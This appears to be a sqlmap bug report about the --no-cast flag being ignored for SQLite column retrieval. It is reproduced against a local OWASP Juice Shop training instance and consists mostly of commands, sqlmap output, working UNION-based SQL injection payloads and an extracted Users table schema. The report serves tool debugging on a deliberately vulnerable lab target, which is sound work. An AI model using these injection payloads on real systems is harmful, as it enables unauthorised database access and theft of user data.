--no-cast is ignored when retrieving the number of columns when using SQLite #3918

docker pull bkimminich/juice-shop
docker run --rm -p 3000:3000 bkimminich/juice-shop
python2 sqlmap.py -u 'http://192.168.1.190:3000/rest/products/search?q=test' -p 'q' --dbms="sqlite" --technique U --prefix "')) " --level 5 --risk 3 --dump --no-cast

[16:53:18] [INFO] flushing session file
[16:53:18] [INFO] testing connection to the target URL
[16:53:18] [INFO] checking if the target is protected by some kind of WAF/IPS
[16:53:18] [WARNING] heuristic (basic) test shows that GET parameter 'q' might not be injectable
[16:53:18] [INFO] testing for SQL injection on GET parameter 'q'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[16:53:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[16:53:20] [INFO] target URL appears to be UNION injectable with 9 columns
[16:53:20] [INFO] GET parameter 'q' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[16:53:20] [INFO] checking if the injection point on GET parameter 'q' is a false positive
[16:53:21] [WARNING] parameter length constraining mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
GET parameter 'q' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 44 HTTP(s) requests:
---
Parameter: q (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: q=test'))  UNION ALL SELECT NULL,NULL,'qkxpq'||'TWrWnisBslqBeGKMGIIjPdrSVtDkokYDSLaAkJeq'||'qjppq',NULL,NULL,NULL,NULL,NULL,NULL-- XXWZ
---
[16:53:23] [INFO] testing SQLite
[16:53:23] [INFO] confirming SQLite
[16:53:23] [INFO] actively fingerprinting SQLite
[16:53:23] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[16:53:23] [INFO] fetching tables for database: 'SQLite_masterdb'
[16:53:23] [INFO] used SQL query returns 21 entries
[16:53:23] [INFO] fetching columns for table 'SecurityQuestions' in database 'SQLite_masterdb'
[16:53:23] [WARNING] unable to retrieve column names for table 'SecurityQuestions' in database 'SQLite_masterdb'

[16:51:32] [PAYLOAD] test'))  UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,MIN(sql)||CAST(X'71706b6a71' AS TEXT),NULL,NULL FROM CAST(X'71706b7a71' AS TEXT)||sqlite_master WHERE tbl_name=CAST(X'53656375726974795175657374696f6e73' AS TEXT)-- AYws

OWASP Juice Shop (Express ^4.17.1)
500 SequelizeDatabaseError: SQLITE_ERROR: near "AS": syntax error
   at Query.formatError (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:419:16)
   at Query._handleQueryResponse (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:73:18)
   at afterExecute (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:247:31)
   at replacement (/juice-shop/node_modules/sqlite3/lib/trace.js:19:31)
   at Statement.errBack (/juice-shop/node_modules/sqlite3/lib/sqlite3.js:16:21)

http://192.168.1.190:3000/rest/products/search?q=test')) UNION ALL SELECT NULL,NULL,NULL,sql,NULL,NULL,NULL,NULL,NULL FROM sqlite_master WHERE tbl_name='Users'-- IvVo

{"status":"success","data":[{"id":null,"name":null,"description":null,"price":"CREATE TABLE `Users` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `username` VARCHAR(255) DEFAULT '', `email` VARCHAR(255) UNIQUE, `password` VARCHAR(255), `role` VARCHAR(255) DEFAULT 'customer', `lastLoginIp` VARCHAR(255) DEFAULT '0.0.0.0', `profileImage` VARCHAR(255) DEFAULT 'default.svg', `totpSecret` VARCHAR(255) DEFAULT '', `isActive` TINYINT(1) DEFAULT 1, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, `deletedAt` DATETIME)","deluxePrice":null,"image":null,"createdAt":null,"updatedAt":null,"deletedAt":null},{"id":null,"name":null,"description":null,"price":null,"deluxePrice":null,"image":null,"createdAt":null,"updatedAt":null,"deletedAt":null}]}